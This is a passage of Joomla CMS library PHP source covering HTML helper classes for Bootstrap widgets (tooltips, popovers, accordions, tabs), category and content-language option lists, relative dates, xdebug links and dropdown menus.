`<iframe>` containing the remote resource
* @param string $body Markup for the modal body. Appended after
the `<iframe>` if the URL option is set
*
* @return string HTML markup for a modal
*
* @since 3.0
*/
public static function renderModal($selector = 'modal', $params
= array(), $body = '')
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
$layoutData = array(
'selector' => $selector,
'params' => $params,
'body' => $body,
);
return JLayoutHelper::render('joomla.modal.main', $layoutData);
}
/**
* Add javascript support for Bootstrap popovers
*
* Use element's Title as popover content
*
* @param string $selector Selector for the popover
* @param array $params An array of options for the popover.
* Options for the popover can be:
* animation boolean apply a css fade
transition to the popover
* html boolean Insert HTML into the
popover. If false, jQuery's text method will be used to insert
* content into the dom.
* placement string|function how to position the
popover - top | bottom | left | right
* selector string If a selector is
provided, popover objects will be delegated to the specified targets.
* trigger string how popover is
triggered - hover | focus | manual
* title string|function default title value if
`title` tag isn't present
* content string|function default content value
if `data-content` attribute isn't present
* delay number|object delay showing and
hiding the popover (ms) - does not apply to manual trigger type
* If a number is
supplied, delay is applied to both hide/show
* Object structure is:
delay: { show: 500, hide: 100 }
* container string|boolean Appends the popover to
a specific element: { container: 'body' }
*
* @return void
*
* @since 3.0
*/
public static function popover($selector = '.hasPopover',
$params = array())
{
// Only load once
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
$opt['animation'] = isset($params['animation']) ?
$params['animation'] : null;
$opt['html'] = isset($params['html']) ?
$params['html'] : true;
$opt['placement'] = isset($params['placement']) ?
$params['placement'] : null;
$opt['selector'] = isset($params['selector']) ?
$params['selector'] : null;
$opt['title'] = isset($params['title']) ?
$params['title'] : null;
$opt['trigger'] = isset($params['trigger']) ?
$params['trigger'] : 'hover focus';
$opt['content'] = isset($params['content']) ?
$params['content'] : null;
$opt['delay'] = isset($params['delay']) ?
$params['delay'] : null;
$opt['container'] = isset($params['container']) ?
$params['container'] : 'body';
$options = JHtml::getJSObject($opt);
$initFunction = 'function initPopovers (event, container) { ' .
'$(container || document).find(' . json_encode($selector) .
').popover(' . $options . ');' .
'}';
// Attach the popover to the document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ initPopovers();
$("body").on("subform-row-add", initPopovers); ' .
$initFunction . ' });'
);
static::$loaded[__METHOD__][$selector] = true;
return;
}
/**
* Add javascript support for Bootstrap ScrollSpy
*
* @param string $selector The ID selector for the ScrollSpy element.
* @param array $params An array of options for the ScrollSpy.
* Options for the ScrollSpy can be:
* - offset number Pixels to offset from top
when calculating position of scroll.
*
* @return void
*
* @since 3.0
*/
public static function scrollspy($selector = 'navbar', $params =
array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['offset'] = isset($params['offset']) ? (int)
$params['offset'] : 10;
$options = JHtml::getJSObject($opt);
// Attach ScrollSpy to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('#' .
$selector) . ').scrollspy(' . $options . '); });'
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
}
return;
}
/**
* Add javascript support for Bootstrap tooltips
*
* Add a title attribute to any element in the form
* title="title::text"
*
* @param string $selector The ID selector for the tooltip.
* @param array $params An array of options for the tooltip.
* Options for the tooltip can be:
* - animation boolean Apply a CSS
fade transition to the tooltip
* - html boolean Insert HTML
into the tooltip. If false, jQuery's text method will be used to
insert
* content into
the dom.
* - placement string|function How to
position the tooltip - top | bottom | left | right
* - selector string If a selector
is provided, tooltip objects will be delegated to the specified targets.
* - title string|function Default title
value if `title` tag isn't present
* - trigger string How tooltip
is triggered - hover | focus | manual
* - delay integer Delay showing
and hiding the tooltip (ms) - does not apply to manual trigger type
* If a number
is supplied, delay is applied to both hide/show
* Object
structure is: delay: { show: 500, hide: 100 }
* - container string|boolean Appends the
popover to a specific element: { container: 'body' }
*
* @return void
*
* @since 3.0
*/
public static function tooltip($selector = '.hasTooltip',
$params = array())
{
if (!isset(static::$loaded[__METHOD__][$selector]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['animation'] = isset($params['animation']) ?
(boolean) $params['animation'] : null;
$opt['html'] = isset($params['html']) ?
(boolean) $params['html'] : true;
$opt['placement'] = isset($params['placement']) ?
(string) $params['placement'] : null;
$opt['selector'] = isset($params['selector']) ?
(string) $params['selector'] : null;
$opt['title'] = isset($params['title']) ?
(string) $params['title'] : null;
$opt['trigger'] = isset($params['trigger']) ?
(string) $params['trigger'] : null;
$opt['delay'] = isset($params['delay']) ?
(is_array($params['delay']) ? $params['delay'] : (int)
$params['delay']) : null;
$opt['container'] = isset($params['container']) ?
$params['container'] : 'body';
$opt['template'] = isset($params['template']) ?
(string) $params['template'] : null;
$onShow = isset($params['onShow']) ? (string)
$params['onShow'] : null;
$onShown = isset($params['onShown']) ? (string)
$params['onShown'] : null;
$onHide = isset($params['onHide']) ? (string)
$params['onHide'] : null;
$onHidden = isset($params['onHidden']) ? (string)
$params['onHidden'] : null;
$options = JHtml::getJSObject($opt);
// Build the script.
$script = array('$(container).find(' . json_encode($selector)
. ').tooltip(' . $options . ')');
if ($onShow)
{
$script[] = 'on("show.bs.tooltip", ' . $onShow .
')';
}
if ($onShown)
{
$script[] = 'on("shown.bs.tooltip", ' . $onShown .
')';
}
if ($onHide)
{
$script[] = 'on("hide.bs.tooltip", ' . $onHide .
')';
}
if ($onHidden)
{
$script[] = 'on("hidden.bs.tooltip", ' . $onHidden
. ')';
}
$initFunction = 'function initTooltips (event, container) { '
.
'container = container || document;' .
implode('.', $script) . ';' .
'}';
// Attach tooltips to document
JFactory::getDocument()
->addScriptDeclaration('jQuery(function($){ initTooltips();
$("body").on("subform-row-add", initTooltips); ' .
$initFunction . ' });');
// Set static array
static::$loaded[__METHOD__][$selector] = true;
}
return;
}
/**
* Loads js and css files needed by Bootstrap Tooltip Extended plugin
*
* @param boolean $extended If true, bootstrap-tooltip-extended.js and
.css files are loaded
*
* @return void
*
* @since 3.6
*
* @deprecated 4.0 No replacement, use Bootstrap tooltips.
*/
public static function tooltipExtended($extended = true)
{
if ($extended)
{
JHtml::_('script',
'jui/bootstrap-tooltip-extended.min.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet',
'jui/bootstrap-tooltip-extended.css', array('version'
=> 'auto', 'relative' => true));
}
}
/**
* Add javascript support for Bootstrap typeahead
*
* @param string $selector The selector for the typeahead element.
* @param array $params An array of options for the typeahead
element.
* Options for the tooltip can be:
* - source array, function The data
source to query against. May be an array of strings or a function.
* The
function is passed two arguments, the query value in the input field and
the
* process
callback. The function may be used synchronously by returning the data
* source
directly or asynchronously via the process callback's single argument.
* - items number The max
number of items to display in the dropdown.
* - minLength number The minimum
character length needed before triggering autocomplete suggestions
* - matcher function The method
used to determine if a query matches an item. Accepts a single argument,
* the item
against which to test the query. Access the current query with this.query.
* Return a
boolean true if query is a match.
* - sorter function Method used
to sort autocomplete results. Accepts a single argument items and has
* the scope
of the typeahead instance. Reference the current query with this.query.
* - updater function The method
used to return selected item. Accepts a single argument, the item and
* has the
scope of the typeahead instance.
* - highlighter function Method used
to highlight autocomplete results. Accepts a single argument item and
* has the
scope of the typeahead instance. Should return html.
*
* @return void
*
* @since 3.0
*
* @deprecated 4.0 Bootstrap 4.0 dropped this so will Joomla.
*/
public static function typeahead($selector = '.typeahead',
$params = array())
{
if (!isset(static::$loaded[__METHOD__][$selector]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['source'] = isset($params['source']) ?
$params['source'] : null;
$opt['items'] = isset($params['items']) ?
(int) $params['items'] : 8;
$opt['minLength'] = isset($params['minLength']) ?
(int) $params['minLength'] : 1;
$opt['matcher'] = isset($params['matcher']) ?
(string) $params['matcher'] : null;
$opt['sorter'] = isset($params['sorter']) ?
(string) $params['sorter'] : null;
$opt['updater'] = isset($params['updater']) ?
(string) $params['updater'] : null;
$opt['highlighter'] = isset($params['highlighter'])
? (int) $params['highlighter'] : null;
$options = JHtml::getJSObject($opt);
// Attach typehead to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode($selector) .
').typeahead(' . $options . '); });'
);
// Set static array
static::$loaded[__METHOD__][$selector] = true;
}
return;
}
/**
* Add javascript support for Bootstrap accordians and insert the
accordian
*
* @param string $selector The ID selector for the tooltip.
* @param array $params An array of options for the tooltip.
* Options for the tooltip can be:
* - parent selector If selector then all
collapsible elements under the specified parent will be closed when this
* collapsible item is
shown. (similar to traditional accordion behavior)
* - toggle boolean Toggles the collapsible
element on invocation
* - active string Sets the active slide
during load
*
* - onShow function This event fires
immediately when the show instance method is called.
* - onShown function This event is fired
when a collapse element has been made visible to the user
* (will wait for css
transitions to complete).
* - onHide function This event is fired
immediately when the hide method has been called.
* - onHidden function This event is fired
when a collapse element has been hidden from the user
* (will wait for css
transitions to complete).
*
* @return string HTML for the accordian
*
* @since 3.0
*/
public static function startAccordion($selector = 'myAccordian',
$params = array())
{
if (!isset(static::$loaded[__METHOD__][$selector]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['parent'] = isset($params['parent']) ?
($params['parent'] == true ? '#' . $selector :
$params['parent']) : false;
$opt['toggle'] = isset($params['toggle']) ?
(boolean) $params['toggle'] : !($opt['parent'] ===
false || isset($params['active']));
$onShow = isset($params['onShow']) ? (string)
$params['onShow'] : null;
$onShown = isset($params['onShown']) ? (string)
$params['onShown'] : null;
$onHide = isset($params['onHide']) ? (string)
$params['onHide'] : null;
$onHidden = isset($params['onHidden']) ? (string)
$params['onHidden'] : null;
$options = JHtml::getJSObject($opt);
$opt['active'] = isset($params['active']) ? (string)
$params['active'] : '';
// Build the script.
$script = array();
$script[] = "jQuery(function($){";
$script[] = "\t$('#" . $selector .
"').collapse(" . $options . ")";
if ($onShow)
{
$script[] = "\t.on('show', " . $onShow .
")";
}
if ($onShown)
{
$script[] = "\t.on('shown', " . $onShown .
")";
}
if ($onHide)
{
$script[] = "\t.on('hideme', " . $onHide .
")";
}
if ($onHidden)
{
$script[] = "\t.on('hidden', " . $onHidden .
")";
}
$parents = array_key_exists(__METHOD__, static::$loaded) ?
array_filter(array_column(static::$loaded[__METHOD__], 'parent'))
: array();
if ($opt['parent'] && empty($parents))
{
$script[] = "
$(document).on('click.collapse.data-api',
'[data-toggle=collapse]', function (e) {
var \$this = $(this), href
var parent = \$this.attr('data-parent')
var \$parent = parent && $(parent)
if (\$parent)
\$parent.find('[data-toggle=collapse][data-parent=' + parent +
']').not(\$this).addClass('collapsed')
})";
}
$script[] = "});";
// Attach accordion to document
JFactory::getDocument()->addScriptDeclaration(implode("\n",
$script));
// Set static array
static::$loaded[__METHOD__][$selector] = $opt;
return '<div id="' . $selector . '"
class="accordion">';
}
}
/**
* Close the current accordion
*
* @return string HTML to close the accordian
*
* @since 3.0
*/
public static function endAccordion()
{
return '</div>';
}
/**
* Begins the display of a new accordion slide.
*
* @param string $selector Identifier of the accordion group.
* @param string $text Text to display.
* @param string $id Identifier of the slide.
* @param string $class Class of the accordion group.
*
* @return string HTML to add the slide
*
* @since 3.0
*/
public static function addSlide($selector, $text, $id, $class =
'')
{
$in = (static::$loaded[__CLASS__ .
'::startAccordion'][$selector]['active'] == $id) ?
' in' : '';
$collapsed = (static::$loaded[__CLASS__ .
'::startAccordion'][$selector]['active'] == $id) ?
'' : ' collapsed';
$parent = static::$loaded[__CLASS__ .
'::startAccordion'][$selector]['parent'] ?
' data-parent="' . static::$loaded[__CLASS__ .
'::startAccordion'][$selector]['parent'] .
'"' : '';
$class = (!empty($class)) ? ' ' . $class : '';
$html = '<div class="accordion-group' . $class .
'">'
. '<div class="accordion-heading">'
. '<strong><a href="#' . $id . '"
data-toggle="collapse"' . $parent . '
class="accordion-toggle' . $collapsed . '">'
. $text
. '</a></strong>'
. '</div>'
. '<div class="accordion-body collapse' . $in .
'" id="' . $id . '">'
. '<div class="accordion-inner">';
return $html;
}
/**
* Close the current slide
*
* @return string HTML to close the slide
*
* @since 3.0
*/
public static function endSlide()
{
return '</div></div></div>';
}
/**
* Creates a tab pane
*
* @param string $selector The pane identifier.
* @param array $params The parameters for the pane
*
* @return string
*
* @since 3.1
*/
public static function startTabSet($selector = 'myTab', $params
= array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['active'] = (isset($params['active'])
&& $params['active']) ? (string)
$params['active'] : '';
// Attach tabs to document
JFactory::getDocument()
->addScriptDeclaration(JLayoutHelper::render('libraries.cms.html.bootstrap.starttabsetscript',
array('selector' => $selector)));
// Set static array
static::$loaded[__METHOD__][$sig] = true;
static::$loaded[__METHOD__][$selector]['active'] =
$opt['active'];
}
return
JLayoutHelper::render('libraries.cms.html.bootstrap.starttabset',
array('selector' => $selector));
}
/**
* Close the current tab pane
*
* @return string HTML to close the pane
*
* @since 3.1
*/
public static function endTabSet()
{
return
JLayoutHelper::render('libraries.cms.html.bootstrap.endtabset');
}
/**
* Begins the display of a new tab content panel.
*
* @param string $selector Identifier of the panel.
* @param string $id The ID of the div element
* @param string $title The title text for the new UL tab
*
* @return string HTML to start a new panel
*
* @since 3.1
*/
public static function addTab($selector, $id, $title)
{
static $tabScriptLayout = null;
static $tabLayout = null;
$tabScriptLayout = $tabScriptLayout === null ? new
JLayoutFile('libraries.cms.html.bootstrap.addtabscript') :
$tabScriptLayout;
$tabLayout = $tabLayout === null ? new
JLayoutFile('libraries.cms.html.bootstrap.addtab') : $tabLayout;
$active =
(static::$loaded['JHtmlBootstrap::startTabSet'][$selector]['active']
== $id) ? ' active' : '';
// Inject tab into UL
JFactory::getDocument()
->addScriptDeclaration($tabScriptLayout->render(array('selector'
=> $selector, 'id' => $id, 'active' =>
$active, 'title' => $title)));
return $tabLayout->render(array('id' => $id,
'active' => $active));
}
/**
* Close the current tab content panel
*
* @return string HTML to close the pane
*
* @since 3.1
*/
public static function endTab()
{
return
JLayoutHelper::render('libraries.cms.html.bootstrap.endtab');
}
/**
* Creates a tab pane
*
* @param string $selector The pane identifier.
* @param array $params The parameters for the pane
*
* @return string
*
* @since 3.0
* @deprecated 4.0 Use JHtml::_('bootstrap.startTabSet')
instead.
*/
public static function startPane($selector = 'myTab', $params =
array())
{
$sig = md5(serialize(array($selector, $params)));
if
(!isset(static::$loaded['JHtmlBootstrap::startTabSet'][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['active'] = isset($params['active']) ? (string)
$params['active'] : '';
// Attach tab to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){
$(' . json_encode('#' . $selector . ' a') .
').click(function (e) {
e.preventDefault();
$(this).tab("show");
});
});'
);
// Set static array
static::$loaded['JHtmlBootstrap::startTabSet'][$sig] = true;
static::$loaded['JHtmlBootstrap::startTabSet'][$selector]['active']
= $opt['active'];
}
return '<div class="tab-content" id="' .
$selector . 'Content">';
}
/**
* Close the current tab pane
*
* @return string HTML to close the pane
*
* @since 3.0
* @deprecated 4.0 Use JHtml::_('bootstrap.endTabSet') instead.
*/
public static function endPane()
{
return '</div>';
}
/**
* Begins the display of a new tab content panel.
*
* @param string $selector Identifier of the panel.
* @param string $id The ID of the div element
*
* @return string HTML to start a new panel
*
* @since 3.0
* @deprecated 4.0 Use JHtml::_('bootstrap.addTab') instead.
*/
public static function addPanel($selector, $id)
{
$active =
(static::$loaded['JHtmlBootstrap::startTabSet'][$selector]['active']
== $id) ? ' active' : '';
return '<div id="' . $id . '"
class="tab-pane' . $active . '">';
}
/**
* Close the current tab content panel
*
* @return string HTML to close the pane
*
* @since 3.0
* @deprecated 4.0 Use JHtml::_('bootstrap.endTab') instead.
*/
public static function endPanel()
{
return '</div>';
}
/**
* Loads CSS files needed by Bootstrap
*
* @param boolean $includeMainCss If true, main bootstrap.css files
are loaded
* @param string $direction rtl or ltr direction. If empty, ltr
is assumed
* @param array $attribs Optional array of attributes to be
passed to JHtml::_('stylesheet')
*
* @return void
*
* @since 3.0
*/
public static function loadCss($includeMainCss = true, $direction =
'ltr', $attribs = array())
{
// Load Bootstrap main CSS
if ($includeMainCss)
{
JHtml::_('stylesheet', 'jui/bootstrap.min.css',
array('version' => 'auto', 'relative'
=> true), $attribs);
JHtml::_('stylesheet',
'jui/bootstrap-responsive.min.css', array('version'
=> 'auto', 'relative' => true), $attribs);
JHtml::_('stylesheet', 'jui/bootstrap-extended.css',
array('version' => 'auto', 'relative'
=> true), $attribs);
}
// Load Bootstrap RTL CSS
if ($direction === 'rtl')
{
JHtml::_('stylesheet', 'jui/bootstrap-rtl.css',
array('version' => 'auto', 'relative'
=> true), $attribs);
}
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Utilities\ArrayHelper;
/**
* Utility class for categories
*
* @since 1.5
*/
abstract class JHtmlCategory
{
/**
* Cached array of the category items.
*
* @var array
* @since 1.5
*/
protected static $items = array();
/**
* Returns an array of categories for the given extension.
*
* @param string $extension The extension option e.g. com_something.
* @param array $config An array of configuration options. By
default, only
* published and unpublished categories are
returned.
*
* @return array
*
* @since 1.5
*/
public static function options($extension, $config =
array('filter.published' => array(0, 1)))
{
$hash = md5($extension . '.' . serialize($config));
if (!isset(static::$items[$hash]))
{
$config = (array) $config;
$db = JFactory::getDbo();
$user = JFactory::getUser();
$groups = implode(',', $user->getAuthorisedViewLevels());
$query = $db->getQuery(true)
->select('a.id, a.title, a.level, a.language')
->from('#__categories AS a')
->where('a.parent_id > 0');
// Filter on extension.
$query->where('extension = ' . $db->quote($extension));
// Filter on user access level
$query->where('a.access IN (' . $groups . ')');
// Filter on the published state
if (isset($config['filter.published']))
{
if (is_numeric($config['filter.published']))
{
$query->where('a.published = ' . (int)
$config['filter.published']);
}
elseif (is_array($config['filter.published']))
{
$config['filter.published'] =
ArrayHelper::toInteger($config['filter.published']);
$query->where('a.published IN (' . implode(',',
$config['filter.published']) . ')');
}
}
// Filter on the language
if (isset($config['filter.language']))
{
if (is_string($config['filter.language']))
{
$query->where('a.language = ' .
$db->quote($config['filter.language']));
}
elseif (is_array($config['filter.language']))
{
foreach ($config['filter.language'] as &$language)
{
$language = $db->quote($language);
}
$query->where('a.language IN (' . implode(',',
$config['filter.language']) . ')');
}
}
// Filter on the access
if (isset($config['filter.access']))
{
if (is_string($config['filter.access']))
{
$query->where('a.access = ' .
$db->quote($config['filter.access']));
}
elseif (is_array($config['filter.access']))
{
foreach ($config['filter.access'] as &$access)
{
$access = $db->quote($access);
}
$query->where('a.access IN (' . implode(',',
$config['filter.access']) . ')');
}
}
$query->order('a.lft');
$db->setQuery($query);
$items = $db->loadObjectList();
// Assemble the list options.
static::$items[$hash] = array();
foreach ($items as &$item)
{
$repeat = ($item->level - 1 >= 0) ? $item->level - 1 : 0;
$item->title = str_repeat('- ', $repeat) .
$item->title;
if ($item->language !== '*')
{
$item->title .= ' (' . $item->language .
')';
}
static::$items[$hash][] = JHtml::_('select.option',
$item->id, $item->title);
}
}
return static::$items[$hash];
}
/**
* Returns an array of categories for the given extension.
*
* @param string $extension The extension option.
* @param array $config An array of configuration options. By
default, only published and unpublished categories are returned.
*
* @return array Categories for the extension
*
* @since 1.6
*/
public static function categories($extension, $config =
array('filter.published' => array(0, 1)))
{
$hash = md5($extension . '.' . serialize($config));
if (!isset(static::$items[$hash]))
{
$config = (array) $config;
$user = JFactory::getUser();
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('a.id, a.title, a.level, a.parent_id,
a.language')
->from('#__categories AS a')
->where('a.parent_id > 0');
// Filter on extension.
$query->where('extension = ' . $db->quote($extension));
// Filter on user level.
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
// Filter on the published state
if (isset($config['filter.published']))
{
if (is_numeric($config['filter.published']))
{
$query->where('a.published = ' . (int)
$config['filter.published']);
}
elseif (is_array($config['filter.published']))
{
$config['filter.published'] =
ArrayHelper::toInteger($config['filter.published']);
$query->where('a.published IN (' . implode(',',
$config['filter.published']) . ')');
}
}
$query->order('a.lft');
$db->setQuery($query);
$items = $db->loadObjectList();
// Assemble the list options.
static::$items[$hash] = array();
foreach ($items as &$item)
{
$repeat = ($item->level - 1 >= 0) ? $item->level - 1 : 0;
$item->title = str_repeat('- ', $repeat) .
$item->title;
if ($item->language !== '*')
{
$item->title .= ' (' . $item->language .
')';
}
static::$items[$hash][] = JHtml::_('select.option',
$item->id, $item->title);
}
// Special "Add to root" option:
static::$items[$hash][] = JHtml::_('select.option',
'1', JText::_('JLIB_HTML_ADD_TO_ROOT'));
}
return static::$items[$hash];
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class to fire onContentPrepare for non-article based content.
*
* @since 1.5
*/
abstract class JHtmlContent
{
/**
* Fire onContentPrepare for content that isn't part of an article.
*
* @param string $text The content to be transformed.
* @param array $params The content params.
* @param string $context The context of the content to be
transformed.
*
* @return string The content after transformation.
*
* @since 1.5
*/
public static function prepare($text, $params = null, $context =
'text')
{
if ($params === null)
{
$params = new JObject;
}
$article = new stdClass;
$article->text = $text;
JPluginHelper::importPlugin('content');
$dispatcher = JEventDispatcher::getInstance();
$dispatcher->trigger('onContentPrepare', array($context,
&$article, &$params, 0));
return $article->text;
}
/**
* Returns an array of months.
*
* @param Registry $state The state object.
*
* @return array
*
* @since 3.9.0
*/
public static function months($state)
{
$model = JModelLegacy::getInstance('Articles',
'ContentModel', array('ignore_request' => true));
foreach ($state as $key => $value)
{
$model->setState($key, $value);
}
$model->setState('filter.category_id',
$state->get('category.id'));
$model->setState('list.start', 0);
$model->setState('list.limit', -1);
$model->setState('list.direction', 'asc');
$model->setState('list.filter', '');
$items = array();
foreach ($model->countItemsByMonth() as $item)
{
$date = new JDate($item->d);
$items[] = JHtml::_('select.option', $item->d,
$date->format('F Y') . ' [' . $item->c .
']');
}
return $items;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class working with content language select lists
*
* @since 1.6
*/
abstract class JHtmlContentLanguage
{
/**
* Cached array of the content language items.
*
* @var array
* @since 1.6
*/
protected static $items = null;
/**
* Get a list of the available content language items.
*
* @param boolean $all True to include All (*)
* @param boolean $translate True to translate All
*
* @return string
*
* @see JFormFieldContentLanguage
* @since 1.6
*/
public static function existing($all = false, $translate = false)
{
if (empty(static::$items))
{
// Get the database object and a new query object.
$db = JFactory::getDbo();
$query = $db->getQuery(true);
// Build the query.
$query->select('a.lang_code AS value, a.title AS text,
a.title_native')
->from('#__languages AS a')
->where('a.published >= 0')
->order('a.title');
// Set the query and load the options.
$db->setQuery($query);
static::$items = $db->loadObjectList();
}
if ($all)
{
$all_option = array(new JObject(array('value' =>
'*', 'text' => $translate ?
JText::alt('JALL', 'language') :
'JALL_LANGUAGE')));
return array_merge($all_option, static::$items);
}
else
{
return static::$items;
}
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Extended Utility class for handling date display.
*
* @since 2.5
*/
abstract class JHtmlDate
{
/**
* Function to convert a static time into a relative measurement
*
* @param string $date The date to convert
* @param string $unit The optional unit of measurement to return
* if the value of the diff is greater than one
* @param string $time An optional time to compare to, defaults to
now
* @param string $format An optional format for the JHtml::date output
*
* @return string The converted time string
*
* @since 2.5
*/
public static function relative($date, $unit = null, $time = null, $format
= null)
{
if ($time === null)
{
// Get now
$time = new JDate('now');
}
// Get the difference in seconds between now and the time
$diff = strtotime($time) - strtotime($date);
// Less than a minute
if ($diff < 60)
{
return JText::_('JLIB_HTML_DATE_RELATIVE_LESSTHANAMINUTE');
}
// Round to minutes
$diff = round($diff / 60);
// 1 to 59 minutes
if ($diff < 60 || $unit === 'minute')
{
return JText::plural('JLIB_HTML_DATE_RELATIVE_MINUTES',
$diff);
}
// Round to hours
$diff = round($diff / 60);
// 1 to 23 hours
if ($diff < 24 || $unit === 'hour')
{
return JText::plural('JLIB_HTML_DATE_RELATIVE_HOURS', $diff);
}
// Round to days
$diff = round($diff / 24);
// 1 to 6 days
if ($diff < 7 || $unit === 'day')
{
return JText::plural('JLIB_HTML_DATE_RELATIVE_DAYS', $diff);
}
// Round to weeks
$diff = round($diff / 7);
// 1 to 4 weeks
if ($diff <= 4 || $unit === 'week')
{
return JText::plural('JLIB_HTML_DATE_RELATIVE_WEEKS', $diff);
}
// Over a month, return the absolute time
return JHtml::_('date', $date, $format);
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Extended Utility class for render debug information.
*
* @since 3.7.0
*/
abstract class JHtmlDebug
{
/**
* xdebug.file_link_format from the php.ini.
*
* Make this property public to support test.
*
* @var string
*
* @since 3.7.0
*/
public static $xdebugLinkFormat;
/**
* Replaces the Joomla! root with "JROOT" to improve
readability.
* Formats a link with a special value xdebug.file_link_format
* from the php.ini file.
*
* @param string $file The full path to the file.
* @param string $line The line number.
*
* @return string
*
* @throws \InvalidArgumentException
*
* @since 3.7.0
*/
public static function xdebuglink($file, $line = '')
{
if (static::$xdebugLinkFormat === null)
{
static::$xdebugLinkFormat =
ini_get('xdebug.file_link_format');
}
$link = str_replace(JPATH_ROOT, 'JROOT', JPath::clean($file));
$link .= $line ? ':' . $line : '';
if (static::$xdebugLinkFormat)
{
$href = static::$xdebugLinkFormat;
$href = str_replace('%f', $file, $href);
$href = str_replace('%l', $line, $href);
$html = JHtml::_('link', $href, $link);
}
else
{
$html = $link;
}
return $html;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* HTML utility class for building a dropdown menu
*
* @since 3.0
*/
abstract class JHtmlDropdown
{
/**
* @var array Array containing information for loaded files
* @since 3.0
*/
protected static $loaded = array();
/**
* @var string HTML markup for the dropdown list
* @since 3.0
*/
protected static $dropDownList = null;
/**
* Method to inject needed script
*
* @return void
*
* @since 3.0
*/
public static function init()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Depends on Bootstrap
JHtml::_('bootstrap.framework');
JFactory::getDocument()->addScriptDeclaration("
(function($){
$(document).ready(function (){
$('.has-context')
.mouseenter(function (){
$('.btn-group',$(this)).show();
})
.mouseleave(function (){
$('.btn-group',$(this)).hide();
$('.btn-group',$(this)).removeClass('open');
});
contextAction =function (cbId, task)
{
$('input[name=\"cid[]\"]').removeAttr('checked');
$('#' +
cbId).attr('checked','checked');
Joomla.submitbutton(task);
}
});
})(jQuery);
"
);
// Set static array
static::$loaded[__METHOD__] = true;
return;
}
/**
* Method to start a new dropdown menu
*
* @return void
*
* @since 3.0
*/
public static function start()
{
// Only start once
if (isset(static::$loaded[__METHOD__]) &&
static::$loaded[__METHOD__] == true)
{
return;
}
$dropDownList = '<div class="btn-group"
style="margin-left:6px;display:none">
<a href="#" data-toggle="dropdown"
class="dropdown-toggle btn btn-mini">
<span class="caret"></span>
</a>
<ul class="dropdown-menu">';
static::$dropDownList = $dropDownList;
static::$loaded[__METHOD__] = true;
return;
}
/**
* Method to render current dropdown menu
*
* @return string HTML markup for the dropdown list
*
* @since 3.0
*/
public static function render()
{
$dropDownList = static::$dropDownList;
$dropDownList .= '</ul></div>';
static::$dropDownList = null;
static::$loaded['JHtmlDropdown::start'] = false;
return $dropDownList;
}
/**
* Append an edit item to the current dropdown menu
*
* @param integer $id Record ID
* @param string $prefix Task prefix
* @param string $customLink The custom link if dont use default
Joomla action format
*
* @return void
*
* @since 3.0
*/
public static function edit($id, $prefix = '', $customLink =
'')
{
static::start();
if (!$customLink)
{
$option =
JFactory::getApplication()->input->getCmd('option');
$link = 'index.php?option=' . $option;
}
else
{
$link = $customLink;
}
$link .= '&task=' . $prefix . 'edit&id=' .
$id;
$link = JRoute::_($link);
static::addCustomItem(JText::_('JACTION_EDIT'), $link);
return;
}
/**
* Append a publish item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function publish($checkboxId, $prefix = '')
{
$task = $prefix . 'publish';
static::addCustomItem(JText::_('JTOOLBAR_PUBLISH'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append an unpublish item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function unpublish($checkboxId, $prefix = '')
{
$task = $prefix . 'unpublish';
